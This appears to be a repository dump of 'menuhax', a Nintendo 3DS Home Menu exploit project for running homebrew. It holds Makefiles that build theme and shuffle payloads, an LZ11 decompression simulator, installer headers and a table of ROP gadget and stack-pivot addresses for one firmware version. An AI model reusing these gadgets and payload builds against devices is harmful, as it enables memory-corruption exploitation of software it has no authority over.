├── modules
    ├── sdiconhax
    ├── shufflehax
    ├── themehax
    └── bossbannerhax
├── release_version
├── sdiconhax_menuversions
    ├── EUR
    │   └── 24576
    ├── JPN
    │   └── 27648
    ├── KOR
    │   ├── 6166
    │   ├── 7175
    │   ├── 8192
    │   ├── 9216
    │   ├── 10240
    │   ├── 11266
    │   └── 12288
    └── USA
    │   └── 25600
├── shufflehax_menuversions
    ├── EUR
    │   ├── 21504
    │   ├── 22528
    │   └── 23554
    ├── JPN
    │   ├── 24576
    │   ├── 25600
    │   └── 26626
    └── USA
    │   ├── 22528
    │   ├── 23552
    │   └── 24578
├── themehax_menuversions
    ├── EUR
    │   ├── 11272
    │   ├── 12288
    │   ├── 13330
    │   ├── 14336
    │   ├── 15360
    │   ├── 16404
    │   ├── 17415
    │   ├── 19456
    │   └── 20480
    ├── JPN
    │   ├── 13313
    │   ├── 14336
    │   ├── 15360
    │   ├── 16402
    │   ├── 17408
    │   ├── 18432
    │   ├── 19476
    │   ├── 20487
    │   ├── 22528
    │   └── 23552
    └── USA
    │   ├── 11272
    │   ├── 12288
    │   ├── 13330
    │   ├── 14336
    │   ├── 15360
    │   ├── 16404
    │   ├── 17415
    │   ├── 19456
    │   ├── 20480
    │   └── 21504
├── bossbannerhax_menuversions
    ├── EUR
    │   └── 25600
    ├── JPN
    │   └── 28672
    ├── KOR
    │   └── 13312
    └── USA
    │   └── 26624
├── cbmd_header.bin
├── menuhax_manager
    ├── icon.png
    ├── blanktheme.lz
    ├── data
    │   └── builtin_rootca.der
    ├── default_imagedisplay.png
    ├── imagedisplay_example_2d.png
    ├── imagedisplay_example_new.png
    ├── imagedisplay_example_bottomscreen.png
    ├── source
    │   ├── log.h
    │   ├── menu.h
    │   ├── log.c
    │   ├── archive.h
    │   ├── modules_common.h
    │   ├── menu.c
    │   └── modules
    │   │   ├── themehax.c
    │   │   └── shufflehax.c
    ├── menuhax_manager.xml
    └── parse_log_genaddrset.sh
├── homemenu_ropgadget_script
├── setup_modules.sh
├── ISSUE_TEMPLATE.md
├── pub_html
    └── menuhax
    │   └── config
├── Makefile.themehax
├── Makefile.shufflehax
├── homemenu_themelz_tool.c
├── menurop_prebuilt
    ├── EUR
    │   ├── 11272
    │   ├── 12288
    │   ├── 13330
    │   ├── 14336
    │   ├── 15360
    │   ├── 16404
    │   ├── 17415
    │   ├── 19456
    │   ├── 20480
    │   ├── 21504
    │   ├── 22528
    │   ├── 23554
    │   ├── 24576
    │   └── 25600
    ├── JPN
    │   ├── 13313
    │   ├── 14336
    │   ├── 15360
    │   ├── 16402
    │   ├── 17408
    │   ├── 18432
    │   ├── 19476
    │   ├── 20487
    │   ├── 22528
    │   ├── 23552
    │   ├── 24576
    │   ├── 25600
    │   ├── 26626
    │   ├── 27648
    │   └── 28672
    ├── USA
    │   ├── 11272
    │   ├── 12288
    │   ├── 13330
    │   ├── 14336
    │   ├── 15360
    │   ├── 16404
    │   ├── 17415
    │   ├── 19456
    │   ├── 20480
    │   ├── 21504
    │   ├── 22528
    │   ├── 23552
    │   ├── 24578
    │   ├── 25600
    │   └── 26624
    └── KOR
    │   ├── 6166
    │   ├── 7175
    │   ├── 8192
    │   ├── 9216
    │   ├── 10240
    │   ├── 11266
    │   ├── 12288
    │   └── 13312
├── menuhax_loader.s
├── sdiconhax_savedatadat.s
├── stage1_bossbannerhax.s
├── bossbannerhax_banner.s
├── menuhax_ropinclude.s
├── themedata_payload.s
├── stage1_sdiconhax.s
├── Building.md
├── Makefile.sdiconhax
├── lz11.c
├── Makefile.bossbannerhax
├── payload.py
├── generate_menurop_addrs.sh
├── stage1_themedata.s
└── compress.py


/modules/sdiconhax:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/modules/shufflehax:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/modules/themehax:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/modules/bossbannerhax:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/release_version:
--------------------------------------------------------------------------------
1 | v3.2


--------------------------------------------------------------------------------
/sdiconhax_menuversions/EUR/24576:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/sdiconhax_menuversions/JPN/27648:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/sdiconhax_menuversions/KOR/10240:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/sdiconhax_menuversions/KOR/11266:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/sdiconhax_menuversions/KOR/12288:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/sdiconhax_menuversions/KOR/6166:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/sdiconhax_menuversions/KOR/7175:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/sdiconhax_menuversions/KOR/8192:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/sdiconhax_menuversions/KOR/9216:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/sdiconhax_menuversions/USA/25600:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/shufflehax_menuversions/EUR/21504:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/shufflehax_menuversions/EUR/22528:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/shufflehax_menuversions/EUR/23554:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/shufflehax_menuversions/JPN/24576:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/shufflehax_menuversions/JPN/25600:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/shufflehax_menuversions/JPN/26626:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/shufflehax_menuversions/USA/22528:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/shufflehax_menuversions/USA/23552:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/shufflehax_menuversions/USA/24578:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/EUR/11272:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/EUR/12288:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/EUR/13330:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/EUR/14336:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/EUR/15360:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/EUR/16404:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/EUR/17415:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/EUR/19456:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/EUR/20480:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/JPN/13313:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/JPN/14336:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/JPN/15360:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/JPN/16402:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/JPN/17408:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/JPN/18432:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/JPN/19476:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/JPN/20487:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/JPN/22528:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/JPN/23552:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/USA/11272:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/USA/12288:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/USA/13330:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/USA/14336:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/USA/15360:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/USA/16404:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/USA/17415:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/USA/19456:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/USA/20480:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/themehax_menuversions/USA/21504:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/bossbannerhax_menuversions/EUR/25600:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/bossbannerhax_menuversions/JPN/28672:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/bossbannerhax_menuversions/KOR/13312:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/bossbannerhax_menuversions/USA/26624:
--------------------------------------------------------------------------------
1 | 


--------------------------------------------------------------------------------
/cbmd_header.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yellows8/3ds_homemenuhax/HEAD/cbmd_header.bin


--------------------------------------------------------------------------------
/menuhax_manager/icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yellows8/3ds_homemenuhax/HEAD/menuhax_manager/icon.png


--------------------------------------------------------------------------------
/menuhax_manager/blanktheme.lz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yellows8/3ds_homemenuhax/HEAD/menuhax_manager/blanktheme.lz


--------------------------------------------------------------------------------
/menuhax_manager/data/builtin_rootca.der:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yellows8/3ds_homemenuhax/HEAD/menuhax_manager/data/builtin_rootca.der


--------------------------------------------------------------------------------
/menuhax_manager/default_imagedisplay.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yellows8/3ds_homemenuhax/HEAD/menuhax_manager/default_imagedisplay.png


--------------------------------------------------------------------------------
/menuhax_manager/imagedisplay_example_2d.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yellows8/3ds_homemenuhax/HEAD/menuhax_manager/imagedisplay_example_2d.png


--------------------------------------------------------------------------------
/menuhax_manager/imagedisplay_example_new.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yellows8/3ds_homemenuhax/HEAD/menuhax_manager/imagedisplay_example_new.png


--------------------------------------------------------------------------------
/menuhax_manager/imagedisplay_example_bottomscreen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/yellows8/3ds_homemenuhax/HEAD/menuhax_manager/imagedisplay_example_bottomscreen.png


--------------------------------------------------------------------------------
/homemenu_ropgadget_script:
--------------------------------------------------------------------------------
1 | --patterndata=35430c0d5e8328e429522bd4b8bff200b6e847eaaf48a5a474a0f3a3eb5dfec2 --patternsha256size=0x4 "--plainout=#define STACKPIVOT_ADR "
2 | 
3 | 


--------------------------------------------------------------------------------
/menuhax_manager/source/log.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | #define LOGTAR_CON (1<<0)
 4 | #define LOGTAR_LOG (1<<1)
 5 | #define LOGTAR_ALL (LOGTAR_CON | LOGTAR_LOG)
 6 | 
 7 | int log_init(const char *path);
 8 | void log_shutdown(void);
 9 | int log_printf(int target, const char *format, ...);
10 | 
11 | 


--------------------------------------------------------------------------------
/menuhax_manager/source/menu.h:
--------------------------------------------------------------------------------
 1 | void initialize_menu();
 2 | void menu_configscreencontrol(bool flag, int curscreen);
 3 | int menu_getcurscreen(void);
 4 | 
 5 | void display_menu(char **menu_entries, int total_entries, int *menuindex, char *headerstr);
 6 | 
 7 | void displaymessage_waitbutton();
 8 | Result displaymessage_prompt(const char *message, const char *keymsg);
 9 | 
10 | 


--------------------------------------------------------------------------------
/menuhax_manager/menuhax_manager.xml:
--------------------------------------------------------------------------------
 1 | <services autodetect="false">
 2 | 	<request priority="1">http:C</request>
 3 | </services>
 4 | <targets selectable="false">
 5 | <title mediatype="0">0004001020020D00</title>
 6 | 	<title mediatype="0">0004001020021D00</title>
 7 | 	<title mediatype="0">0004001020022D00</title>
 8 | 	<title mediatype="0">0004001020026D00</title>
 9 | 	<title mediatype="0">0004001020027D00</title>
10 | 	<title mediatype="0">0004001020028D00</title>
11 | 
12 | 	<title mediatype="0">0004001000020D00</title>
13 | 	<title mediatype="0">0004001000021D00</title>
14 | 	<title mediatype="0">0004001000022D00</title>
15 | 	<title mediatype="0">0004001000026D00</title>
16 | 	<title mediatype="0">0004001000027D00</title>
17 | 	<title mediatype="0">0004001000028D00</title>
18 | </targets>
19 | 


--------------------------------------------------------------------------------
/setup_modules.sh:
--------------------------------------------------------------------------------
 1 | headerpath=menuhax_manager/source/modules/modules.h
 2 | 
 3 | rm -f $headerpath
 4 | rm -f "Makefile_modules_include"
 5 | 
 6 | echo "BUILDMODULES_COMMAND	:=	" >> Makefile_modules_include
 7 | 
 8 | for path in modules/*; do echo "void register_module_"$(basename "$path")"();" >> $headerpath; echo "include Makefile."$(basename "$path") >> Makefile_modules_include; echo "BUILDMODULES_COMMAND	:=	\$(BUILDMODULES_COMMAND) make -f Makefile "$(basename "$path")"_build --no-print-directory; " >> Makefile_modules_include; done
 9 | echo "" >> $headerpath
10 | echo "void register_modules()" >> $headerpath
11 | echo "{" >> $headerpath
12 | for path in modules/*; do echo register_module_$(basename "$path")"();" >> $headerpath; done
13 | echo "}" >> $headerpath
14 | echo "" >> $headerpath
15 | 
16 | 


--------------------------------------------------------------------------------
/ISSUE_TEMPLATE.md:
--------------------------------------------------------------------------------
 1 | **menuhax is obsolete, see https://3ds.hacks.guide/ instead.**
 2 | 
 3 | Before creating an issue, please make sure that you:
 4 | * Properly extracted the *latest* release-archive to your SD card. https://github.com/yellows8/3ds_homemenuhax/releases/latest
 5 | * *Read* the entire README.
 6 | * **Actually READ the displayed text from menuhax_manager.**
 7 | 
 8 | ~~Note that HTTPC errors are normally due to user-side network fail(unless there's *really* server-side issues). Verify that [this](https://yls8.mtheall.com/) and [this](https://smealum.github.io/ninjhax2/) are accessible from your network.~~
 9 | 
10 | If you're getting an error from menuhax_manager, include the log *file* from SD '/3ds/menuhax_manager/menuhax_manager.log' with this issue, as already described in the menuhax_manager abort message.
11 | 
12 | *Please* remember to replace this text block with your *actual* issue-post text.
13 | 


--------------------------------------------------------------------------------
/menuhax_manager/source/log.c:
--------------------------------------------------------------------------------
 1 | #include <string.h>
 2 | #include <stdio.h>
 3 | #include <stdlib.h>
 4 | #include <sys/stat.h>
 5 | #include <unistd.h>
 6 | #include <stdarg.h>
 7 | #include <errno.h>
 8 | 
 9 | #include "log.h"
10 | 
11 | static FILE *flog;
12 | 
13 | int log_init(const char *path)
14 | {
15 | 	if(flog)return 0;
16 | 
17 | 	unlink(path);
18 | 
19 | 	flog = fopen(path, "w");
20 | 	if(flog==NULL)return errno;
21 | 
22 | 	return 0;
23 | }
24 | 
25 | void log_shutdown(void)
26 | {
27 | 	if(flog==NULL)return;
28 | 
29 | 	fclose(flog);
30 | 	flog = NULL;
31 | }
32 | 
33 | int log_printf(int target, const char *format, ...)
34 | {
35 | 	int ret=0;
36 | 	va_list args;
37 | 
38 | 	va_start(args, format);
39 | 
40 | 	if(target & LOGTAR_CON)ret = vprintf(format, args);
41 | 	if((target & LOGTAR_LOG) && flog!=NULL)ret = vfprintf(flog, format, args);
42 | 
43 | 	va_end(args);
44 | 
45 | 	return ret;
46 | }
47 | 
48 | 


--------------------------------------------------------------------------------
/menuhax_manager/source/archive.h:
--------------------------------------------------------------------------------
 1 | typedef enum {
 2 | 	HomeMenu_Extdata,
 3 | 	Theme_Extdata,
 4 | 	Other_Extdata,
 5 | 	TotalExtdataArchives,
 6 | 	SDArchive = TotalExtdataArchives
 7 | } Archive;
 8 | 
 9 | Result open_extdata(void);
10 | void close_extdata(void);
11 | Result archive_openotherextdata(FS_ExtSaveDataInfo *extdatainfo);
12 | void archive_closeotherextdata(void);
13 | bool archive_getavailable(Archive archive);
14 | Result archive_deletefile(Archive archive, char *path);
15 | Result archive_mkdir(Archive archive, char *path);
16 | Result archive_getfilesize(Archive archive, char *path, u32 *outsize);
17 | Result archive_readfile(Archive archive, char *path, u8 *buffer, u32 size);
18 | Result archive_writefile(Archive archive, char *path, u8 *buffer, u32 size, u32 createsize);
19 | Result archive_copyfile(Archive inarchive, Archive outarchive, char *inpath, char *outpath, u8* buffer, u32 size, u32 maxbufsize, u32 createsize, char *display_filepath);
20 | 
21 | 


--------------------------------------------------------------------------------
/menuhax_manager/parse_log_genaddrset.sh:
--------------------------------------------------------------------------------
 1 | # Usage: <script path> <menuhax_manager log file> {old3ds|new3ds}
 2 | # This is for generating the entries in sdiconhax.c sdiconhax_addrset_builtinlist[].
 3 | 
 4 | textline=$(grep linearaddr $1)
 5 | 
 6 | systext="LINEARMEMSYS_BASE_RELOFFSET_NEW3DS("
 7 | if [ "$2" == "old3ds" ]
 8 | then
 9 | 	systext="LINEARMEMSYS_BASE_RELOFFSET_OLD3DS("
10 | fi
11 | 
12 | echo -e "\t{"
13 | echo -e "\t\t.region = CFG_REGION_TODO,"
14 | echo -e "\t\t.language = CFG_LANGUAGE_TODO,"
15 | echo ""
16 | echo -n -e "\t\t.linearaddr_savedatadat = $systext" && echo -n "$textline" | cut "-d=" -f2 | cut "-d," -f1 | tr -d '\n' && echo "),"
17 | #echo -n -e "\t\t.linearaddr_target_objectslist_buffer = $systext" && echo -n "$textline" | cut "-d=" -f3 | cut "-d," -f1 | tr -d '\n' && echo "),"
18 | echo -n -e "\t\t.original_objptrs = {$systext" && echo -n "$textline" | cut "-d=" -f4 | cut "-d," -f1 | tr -d '\n'
19 | echo -n -e "), $systext" && echo -n "$textline" | cut "-d=" -f5 | cut "-d," -f1 | tr -d '\n' && echo ")}"
20 | echo -e "\t}"
21 | 


--------------------------------------------------------------------------------
/pub_html/menuhax/config:
--------------------------------------------------------------------------------
 1 | <?php
 2 | 
 3 | $con = "";
 4 | 
 5 | $basepath = "/home/yellows8/yellows8github/3ds_homemenuhax";
 6 | 
 7 | $release_version = "";
 8 | 
 9 | $filepath = "$basepath/release_version";
10 | 
11 | if(file_exists($filepath)===TRUE)
12 | {
13 | 	$release_version = file_get_contents($filepath);
14 | 	if($release_version===FALSE)$release_version = "";
15 | }
16 | 
17 | if($release_version==="")
18 | {
19 | 	header("HTTP/1.1 500 Internal Server Error");
20 | 	die("A server-side error occured.");
21 | }
22 | 
23 | $con.= "release_version=$release_version\n";
24 | 
25 | $dirpath = "$basepath/modules_verlist";
26 | 
27 | $dirlist = scandir($dirpath);
28 | 
29 | if(count($dirlist) > 0)
30 | {
31 | 	foreach($dirlist as $dirent)
32 | 	{
33 | 		if($dirent === "." || $dirent === "..")continue;
34 | 
35 | 		$filepath = "$dirpath/$dirent";
36 | 
37 | 		if(file_exists($filepath)===TRUE)
38 | 		{
39 | 			$filecon = file_get_contents($filepath);
40 | 			if($filecon===FALSE || $filecon==="")continue;
41 | 
42 | 			$con.= "$dirent $filecon\n";
43 | 		}
44 | 	}
45 | }
46 | 
47 | echo "$con";
48 | 
49 | ?>
50 | 


--------------------------------------------------------------------------------
/menuhax_manager/source/modules_common.h:
--------------------------------------------------------------------------------
 1 | #pragma once
 2 | 
 3 | typedef Result (*menuhaxcb_install)(char *menuhax_basefn, s16 menuversion);
 4 | typedef Result (*menuhaxcb_delete)(void);
 5 | 
 6 | #define MODULE_MAKE_CVER(major, minor, build) ((major<<16) | (minor<<8) | build)
 7 | 
 8 | typedef struct {
 9 | 	int initialized;
10 | 	u32 index;
11 | 
12 | 	char name[16];
13 | 	bool manual_name_display;//When true the module itself should print the name instead of letting that being handled automatically.
14 | 
15 | 	u32 unsupported_cver;
16 | 	u16 unsupported_menuversion[7];//Unsupported menu-version for each region, used instead of unsupported_cver when set.
17 | 
18 | 	menuhaxcb_install haxinstall;
19 | 	menuhaxcb_delete haxdelete;
20 | 
21 | 	bool themeflag;//The SD-cfg themeflag will be set to this once installation was successful.
22 | } module_entry;
23 | 
24 | void register_module(module_entry *module);
25 | 
26 | Result menu_enablethemecache_persistent();
27 | Result disablethemecache();
28 | Result enablethemecache(u32 type, u32 shuffle, u32 index);
29 | 
30 | Result sd2themecache(char *body_filepath, char *bgm_filepath, u32 install_type);
31 | 
32 | extern u8 *filebuffer;
33 | extern u32 filebuffer_maxsize;
34 | 
35 | 


--------------------------------------------------------------------------------
/Makefile.themehax:
--------------------------------------------------------------------------------
 1 | themehax_build:
 2 | 	@mkdir -p finaloutput/themepayload
 3 | 	
 4 | 	@for path in themehax_menuversions/JPN/*; do make -f Makefile buildtheme --no-print-directory REGION=JPN REGIONVAL=0 MENUVERSION=$$(basename "$$path"); done
 5 | 	@for path in themehax_menuversions/USA/*; do make -f Makefile buildtheme --no-print-directory REGION=USA REGIONVAL=1 MENUVERSION=$$(basename "$$path"); done
 6 | 	@for path in themehax_menuversions/EUR/*; do make -f Makefile buildtheme --no-print-directory REGION=EUR REGIONVAL=2 MENUVERSION=$$(basename "$$path"); done
 7 | 
 8 | 	@zip -rj finaloutput/themepayload.zip finaloutput/themepayload
 9 | 
10 | buildtheme:
11 | 	@make -f Makefile finaloutput/themepayload/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds.lz --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_OBJADDR_OLD3DS) ROPBUF=$(HEAPBUF_HAX_OLD3DS) FIXHEAPBUF=$(HEAPBUF_HAX_OLD3DS) ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_OLD3DS) NEW3DS=0 $(PARAMS)
12 | 	@make -f Makefile finaloutput/themepayload/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds.lz --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_OBJADDR_NEW3DS) ROPBUF=$(HEAPBUF_HAX_NEW3DS) FIXHEAPBUF=$(HEAPBUF_HAX_NEW3DS) ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_NEW3DS) NEW3DS=1 $(PARAMS)
13 | 
14 | finaloutput/themepayload/$(BUILDPREFIX).lz:	binpayload/$(BUILDPREFIX)_themedata.bin
15 | 	python3 payload.py $< $@ 0x4652 0x15ff80 $(TARGETOVERWRITE_MEMCHUNKADR) $(HEAPBUF_OBJADDR)
16 | 
17 | 


--------------------------------------------------------------------------------
/Makefile.shufflehax:
--------------------------------------------------------------------------------
 1 | SHUFFLEHAX_TARGETOVERWRITE_MEMCHUNKADR	:=	0x0FFFFEA0
 2 | 
 3 | shufflehax_build:
 4 | 	@mkdir -p finaloutput/shufflepayload
 5 | 	
 6 | 	@for path in shufflehax_menuversions/JPN/*; do make -f Makefile buildshuffle --no-print-directory REGION=JPN REGIONVAL=0 MENUVERSION=$$(basename "$$path"); done
 7 | 	@for path in shufflehax_menuversions/USA/*; do make -f Makefile buildshuffle --no-print-directory REGION=USA REGIONVAL=1 MENUVERSION=$$(basename "$$path"); done
 8 | 	@for path in shufflehax_menuversions/EUR/*; do make -f Makefile buildshuffle --no-print-directory REGION=EUR REGIONVAL=2 MENUVERSION=$$(basename "$$path"); done
 9 | 
10 | 	@zip -rj finaloutput/shufflepayload.zip finaloutput/shufflepayload
11 | 
12 | buildshuffle:
13 | 	@make -f Makefile finaloutput/shufflepayload/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds.lz --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_old3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_OBJADDR_OLD3DS) ROPBUF=$(HEAPBUF_HAX_OLD3DS) FIXHEAPBUF=$(HEAPBUF_HAX_OLD3DS) ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_OLD3DS) NEW3DS=0 $(PARAMS)
14 | 	@make -f Makefile finaloutput/shufflepayload/$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds.lz --no-print-directory BUILDPREFIX=$(BUILDPREFIX)$(REGION)$(MENUVERSION)_new3ds MENUVERSION=$(MENUVERSION) HEAPBUF_OBJADDR=$(HEAPBUF_HAX_NEW3DS) ROPBUF=$(HEAPBUF_HAX_NEW3DS) FIXHEAPBUF=$(HEAPBUF_HAX_NEW3DS) ROPBIN_BUFADR=$(HEAPBUF_ROPBIN_NEW3DS) NEW3DS=1 $(PARAMS)
15 | 
16 | finaloutput/shufflepayload/$(BUILDPREFIX).lz:	binpayload/$(BUILDPREFIX)_themedata.bin
17 | 	python3 payload.py $< $@ 0x4652 0x15ff80 $(SHUFFLEHAX_TARGETOVERWRITE_MEMCHUNKADR) $(HEAPBUF_OBJADDR) 1
18 | 
19 | 


--------------------------------------------------------------------------------
/homemenu_themelz_tool.c:
--------------------------------------------------------------------------------
 1 | #include <stdlib.h>
 2 | #include <stdio.h>
 3 | #include <string.h>
 4 | #include <sys/stat.h>
 5 | 
 6 | //Build with: gcc -o homemenu_themelz_tool lz11.c homemenu_themelz_tool.c
 7 | 
 8 | //This code simulates how Home Menu handles theme data decompression.
 9 | 
10 | int decompress_lz11(unsigned char *compressed_datain, unsigned char *decompressed_dataout, int insize, int maxoutsize);
11 | 
12 | int main(int argc, char **argv)
13 | {
14 | 	FILE *f;
15 | 	unsigned char *buffer;
16 | 	int insize = 0;
17 | 	int ret;
18 | 	struct stat filestats;
19 | 
20 | 	if(argc<3)return 0;
21 | 
22 | 	if(stat(argv[1], &filestats)==-1)
23 | 	{
24 | 		printf("Failed to stat input.\n");
25 | 		return 1;
26 | 	}
27 | 
28 | 	insize = filestats.st_size;
29 | 	if(insize > 0x150000)
30 | 	{
31 | 		printf("Input file is too large.\n");
32 | 		return 3;
33 | 	}
34 | 
35 | 	f = fopen(argv[1], "rb");
36 | 	if(f==NULL)
37 | 	{
38 | 		printf("Failed to open input file for reading.\n");
39 | 		return 2;
40 | 	}
41 | 
42 | 	buffer = (unsigned char*)malloc(0x400000);
43 | 	if(buffer==NULL)
44 | 	{
45 | 		printf("Failed to alloc mem.\n");
46 | 		fclose(f);
47 | 		return 4;
48 | 	}
49 | 	memset(buffer, 0, 0x400000);
50 | 
51 | 	fread(&buffer[0x150000], 1, insize, f);
52 | 
53 | 	fclose(f);
54 | 
55 | 	ret = decompress_lz11(&buffer[0x150000], buffer, insize, 0x400000);
56 | 	printf("decompress_lz11() retval: %d\n", ret);
57 | 
58 | 	f = fopen(argv[2], "wb");
59 | 	if(f==NULL)
60 | 	{
61 | 		printf("Failed to open output file for writing.\n");
62 | 		free(buffer);
63 | 		return 2;
64 | 	}
65 | 
66 | 	fwrite(buffer, 1, 0x400000, f);
67 | 
68 | 	fclose(f);
69 | 
70 | 	return 0;
71 | }
72 | 
73 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/11272:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fdc
 2 | 
 3 | #define ROP_POPPC 0x0010e7cc
 4 | #define POP_R1PC 0x002149f0
 5 | #define POP_R3PC 0x0010f7e4
 6 | #define POP_R2R6PC 0x00150108
 7 | #define POP_R4LR_BXR1 0x0011dda4
 8 | #define POP_R4R8LR_BXR2 0x00136d5c
 9 | #define POP_R4R5R6PC 0x0010d530
10 | #define POP_R4FPPC 0x0010e368
11 | #define POP_R4R8PC 0x0010d660
12 | 
13 | #define ROP_STR_R1TOR0 0x0011dd5c
14 | #define ROP_STR_R0TOR1 0x00112308
15 | #define ROP_LDR_R0FROMR0 0x0010efe8
16 | #define ROP_ADDR0_TO_R1 0x0012e708
17 | 
18 | #define MEMCPY 0x00214f0c
19 | #define MEMSET32_OTHER 0x00210e1c
20 | 
21 | #define svcControlMemory 0x00212df0
22 | #define svcSleepThread 0x0012e64c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014d500
25 | #define GSPGPU_SERVHANDLEADR 0x002feed8
26 | 
27 | #define IFile_Read 0x00209e74
28 | #define IFile_Write 0x001fe7e4
29 | 
30 | #define POP_R0PC 0x00157554
31 | #define ROP_LDRR1R1_STRR1R0 0x001f1ee4
32 | #define ROP_CMPR0R1 0x0027e450
33 | #define ROP_INITOBJARRAY 0x0020a40d
34 | #define svcCreateThread 0x0010e630
35 | #define svcConnectToPort 0x0011c544
36 | #define svcGetProcessId 0x0012e630
37 | #define SRV_GETSERVICEHANDLE 0x00212e48
38 | #define CFGIPC_SecureInfoGetRegion 0x00139d0c
39 | #define ROP_COND_THROWFATALERR 0x001028dc
40 | #define GXLOW_CMD4 0x0014d604
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00146e30
42 | #define FS_MountSdmc 0x0011c9b4
43 | #define IFile_Open 0x00209f88
44 | #define IFile_Close 0x0020c1b0
45 | #define IFile_Seek 0x001ff018
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b64c
